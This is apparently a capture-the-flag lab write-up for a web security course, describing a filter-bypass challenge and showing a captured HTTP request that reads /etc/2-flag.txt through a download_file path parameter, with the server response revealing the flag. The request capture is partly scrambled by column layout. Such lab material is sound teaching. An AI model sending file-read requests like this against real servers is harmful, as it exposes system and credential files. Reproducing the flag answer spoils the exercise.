## 2. Not even this can be bypassed

A critical flag is hidden deep within /etc/2-flag.txt. The system guarding it has implemented multiple layers of filtering and validation, making traditional techniques ineffective. However, every defense has its blind spot—your mission is deconstructing it.

Your task is to investigate, exploit, and secure the endpoint.

- Target Machine: <u>Cyber WebSec 0x07</u>
- Main Endpoint: http://web0x07.hbtn/task2/list file

Challenge yourself to bypass it while respecting security boundaries.

## Useful instructions:

- 1. Test Boundaries: Experiment with different encoding and payload techniques to understand how inputs are processed.
- 2. Think Outside the Box: Consider less conventional methods of bypassing security filters.

```
Request
                                                                                                                                                                              Response
                                                                                                                                                    & 🚍 \n ≡
 Pretty
                                                                                                                                                                               Pretty
                                                                                                                                                                                          Raw
                                                                                                                                                                                                       Hex
   GET /task2/download_file?filename=2-flag.txt&path=/etc HTTP/1.1
                                                                                                                                                                              1 HTTP/1.1 200 OK
2 Host: web0x07.hbtn
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
4 Accept:
                                                                                                                                                                              2 Server: nginx/1.22.1
3 Date: Tue, 11 Feb 2025 21:38:41 GMT
4 Content-Type: text/plain; charset=utf-8
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=
                                                                                                                                                                             5 Content-Length: 40
6 Connection: keep-alive
text/ntml,application/Antonerame,application,
0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://web0x07.hbtn/taskl/list_file
Upgrade-Insecure-Requests: 1
                                                                                                                                                                             8 FLAG_2: 915fe65937f3fa6ca86a0ae138a3688a
10 Priority: u=0, i
```